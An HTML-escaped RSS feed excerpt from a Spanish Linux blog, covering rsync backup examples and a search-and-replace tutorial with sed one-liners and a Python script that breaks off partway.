&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">rsync -avz --progress /tmp/ user@server.com:/home/pi/algo/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Copia los archivos inferiores en tamaño a 10Mb y superiores a 1MB.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">rsync -avz --max-size&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;10240k&amp;#39;&lt;/span> --min-size&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;1024k&amp;#39;&lt;/span> ~/Documentos user@server.com:/home/pi/algo/&lt;span class="sb">`&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>###Pc remoto a pc local&lt;/p>
&lt;p>Excluye todos los archivos y directorios excepto los de tipo .zip.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">rsync -avz --exclude&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;*&amp;#39;&lt;/span> --include&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;*.zip&amp;#39;&lt;/span> user@server.com:/home/pi/algo/ /media/hd2/mibackup
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Todos los datos se copian y transfieren cifrados sobre ssh.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">rsync -avze ssh user@server.com:/home/pi/algo/ /media/hd2/mibackup/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>###Local
El que uso habitualmente
Copia archivo en modo Archive para sincronizar directorios
Muestra el progreso para cada copia
Muestro información mas legible, no envió directorios vacíos&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">rsync -av -hm --delete --progress --exclude-from &lt;span class="s1">&amp;#39;exclude.txt&amp;#39;&lt;/span> &lt;span class="s2">&amp;#34;/cygdrive/c/Users/&amp;#34;&lt;/span> /cygdrive/l/BackUp/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>###Rsync con clave privada
#EN PROCESO
&lt;a class="link" href="http://troy.jdmz.net/rsync/index.html" target="_blank" rel="noopener"
>http://troy.jdmz.net/rsync/index.html&lt;/a>&lt;/p>
&lt;p>##Importante&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Respecto a cómo pasarle los nombres de los directorios, hay que tener una especial atención respecto a si ponemos una barra al final del nombre del directorio o no, ya que significan cosas distintas:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">rsync -av /src/foo /dest &lt;span class="o">=&lt;/span>&amp;gt; /path/foo significa &lt;span class="s2">&amp;#34;el directorio foo&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rsync -av /src/foo/ /dest/foo &lt;span class="o">=&lt;/span>&amp;gt; /path/foo/ significa &lt;span class="s2">&amp;#34;lo que hay dentro de foo&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>En windows en vez de escribir &lt;code>C:\&lt;/code> -&amp;gt; &lt;code>/cygdrive/c/&lt;/code> .&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Usar siempre rutas absolutas.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>usar el parámetro &lt;code>-n&lt;/code> para evitar eliminar archivos no deseados, el comando no hace nada.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Fuente: &lt;a class="link" href="http://blog.elhacker.net/2014/02/ejemplos-rsync-para-hacer-copias-de-seguridad-remotas-backup.html" target="_blank" rel="noopener"
>0&lt;/a> &lt;a class="link" href="http://www.vicente-navarro.com/blog/2008/01/13/backups-con-rsync/" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p></description></item><item><title>Buscar y remplazar</title><link>https://www.procamora.com/p/buscar-y-remplazar/</link><pubDate>Tue, 01 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/buscar-y-remplazar/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Buscar y remplazar" />&lt;p>[TOC]&lt;/p>
&lt;h2 id="introducción">Introducción:&lt;/h2>
&lt;p>Vamos a repasar algunos métodos para buscar y remplazar una palabra o expresion regular.
Las opciones que vamos a considerar son las siguientes:&lt;/p>
&lt;ul>
&lt;li>Sea recursivo&lt;/li>
&lt;li>Permite usar expresiones regulares&lt;/li>
&lt;/ul>
&lt;h2 id="herramientas-nativas">Herramientas nativas&lt;/h2>
&lt;p>Las siguientes herramientas son nativas de linux y posiblemente estén instaladas en todas las distribuciones de linux.&lt;/p>
&lt;h3 id="search-and-replace-con-egrep">Search and replace con egrep&lt;/h3>
&lt;p>Muestra los ficheros que contienen el patrón a buscar con &lt;code>egrep&lt;/code> y con &lt;code>sed&lt;/code> los remplaza.&lt;/p>
&lt;ul>
&lt;li>Recursivo: ✔&lt;/li>
&lt;li>Regex: ✔ &lt;em>(Con matices, sed no acepta caracteres de búsqueda literal como \d, pero si [0-9]+)&lt;/em>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>&lt;span class="nv">buscar&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;uno?&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">remplazar&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;UNO&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">ruta&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;/tmp/kk&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">egrep -rl &lt;span class="nv">$buscar&lt;/span> &lt;span class="nv">$ruta&lt;/span> &lt;span class="p">|&lt;/span> xargs sed -i -E &lt;span class="s2">&amp;#34;s/&lt;/span>&lt;span class="nv">$buscar&lt;/span>&lt;span class="s2">/&lt;/span>&lt;span class="nv">$remplazar&lt;/span>&lt;span class="s2">/g&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="search-and-replace-con-find">Search and replace con find&lt;/h3>
&lt;p>Busco los ficheros filtrándolos con &lt;code>find&lt;/code>, después con &lt;code>sed&lt;/code> remplazo.&lt;/p>
&lt;p>Funcionalidad:&lt;/p>
&lt;ul>
&lt;li>Recursivo: ✔&lt;/li>
&lt;li>Regex: ✔ &lt;em>(Con matices, sed no acepta caracteres de búsqueda literal como \d, pero si [0-9]+)&lt;/em>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>&lt;span class="nv">buscar&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;\d&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">remplazar&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;uno&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">ruta&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;/tmp/kk&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">filtro&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;*&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">find &lt;span class="nv">$ruta&lt;/span> -type f -name &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$filtro&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> xargs sed -i -E &lt;span class="s2">&amp;#34;s/&lt;/span>&lt;span class="nv">$buscar&lt;/span>&lt;span class="s2">/&lt;/span>&lt;span class="nv">$remplazar&lt;/span>&lt;span class="s2">/g&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="herramientas-externas">Herramientas externas&lt;/h2>
&lt;h3 id="search-and-replace-con-python">Search and replace con Python&lt;/h3>
&lt;p>Script hecho en python para buscar y remplazar en un arbol de directorios.&lt;/p>
&lt;p>Funcionalidad:&lt;/p>
&lt;ul>
&lt;li>Recursivo: ✔&lt;/li>
&lt;li>Regex: ✔&lt;/li>
&lt;/ul>
&lt;p>&lt;a class="link" href="https://www.procamora.com/code/search_replace.py" >Descargar script&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;span class="lnt">38
&lt;/span>&lt;span class="lnt">39
&lt;/span>&lt;span class="lnt">40
&lt;/span>&lt;span class="lnt">41
&lt;/span>&lt;span class="lnt">42
&lt;/span>&lt;span class="lnt">43
&lt;/span>&lt;span class="lnt">44
&lt;/span>&lt;span class="lnt">45
&lt;/span>&lt;span class="lnt">46
&lt;/span>&lt;span class="lnt">47
&lt;/span>&lt;span class="lnt">48
&lt;/span>&lt;span class="lnt">49
&lt;/span>&lt;span class="lnt">50
&lt;/span>&lt;span class="lnt">51
&lt;/span>&lt;span class="lnt">52
&lt;/span>&lt;span class="lnt">53
&lt;/span>&lt;span class="lnt">54
&lt;/span>&lt;span class="lnt">55
&lt;/span>&lt;span class="lnt">56
&lt;/span>&lt;span class="lnt">57
&lt;/span>&lt;span class="lnt">58
&lt;/span>&lt;span class="lnt">59
&lt;/span>&lt;span class="lnt">60
&lt;/span>&lt;span class="lnt">61
&lt;/span>&lt;span class="lnt">62
&lt;/span>&lt;span class="lnt">63
&lt;/span>&lt;span class="lnt">64
&lt;/span>&lt;span class="lnt">65
&lt;/span>&lt;span class="lnt">66
&lt;/span>&lt;span class="lnt">67
&lt;/span>&lt;span class="lnt">68
&lt;/span>&lt;span class="lnt">69
&lt;/span>&lt;span class="lnt">70
&lt;/span>&lt;span class="lnt">71
&lt;/span>&lt;span class="lnt">72
&lt;/span>&lt;span class="lnt">73
&lt;/span>&lt;span class="lnt">74
&lt;/span>&lt;span class="lnt">75
&lt;/span>&lt;span class="lnt">76
&lt;/span>&lt;span class="lnt">77
&lt;/span>&lt;span class="lnt">78
&lt;/span>&lt;span class="lnt">79
&lt;/span>&lt;span class="lnt">80
&lt;/span>&lt;span class="lnt">81
&lt;/span>&lt;span class="lnt">82
&lt;/span>&lt;span class="lnt">83
&lt;/span>&lt;span class="lnt">84
&lt;/span>&lt;span class="lnt">85
&lt;/span>&lt;span class="lnt">86
&lt;/span>&lt;span class="lnt">87
&lt;/span>&lt;span class="lnt">88
&lt;/span>&lt;span class="lnt">89
&lt;/span>&lt;span class="lnt">90
&lt;/span>&lt;span class="lnt">91
&lt;/span>&lt;span class="lnt">92
&lt;/span>&lt;span class="lnt">93
&lt;/span>&lt;span class="lnt">94
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/env python&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Fuente: http://code.activestate.com/recipes/580653-recursive-find-replace-in-files-using-regex/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">fnmatch&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">shutil&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">re&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">argparse&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">find_replace&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cfg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">search_pattern&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">re&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">compile&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cfg&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">search_regex&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">dirs&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">files&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">walk&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">abspath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cfg&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dir&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">filename&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">fnmatch&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">filter&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">files&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">cfg&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">glob&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pardir&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">normpath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;../../../others/content&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pardir&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pardir&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;[&lt;/span>&lt;span class="si">%s&lt;/span>&lt;span class="s1">]&amp;#39;&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">pardir&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">filepath&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">filename&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># backup orig file&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">cfg&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">create_backup&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">backup_path&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">filepath&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s1">&amp;#39;.bak&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">exists&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">backup_path&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">backup_path&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="s1">&amp;#39;.bak&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;DBG: creating backup&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">backup_path&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">shutil&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">copyfile&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">filepath&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">backup_path&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">filepath&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">all_matches&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">search_pattern&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">findall&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">all_matches&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">one_match&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">all_matches&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Found &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s1"> matches in file &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">all_matches&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">filename&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">cfg&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dryrun&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">filepath&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;w&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;DBG: replacing in file&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">filepath&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># s = s.replace(search_pattern, replacement)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">new_data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">search_pattern&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sub&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cfg&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">replace_regex&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">new_data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">one_match&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">line&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34; OLD: &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">line&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()))&lt;/span>
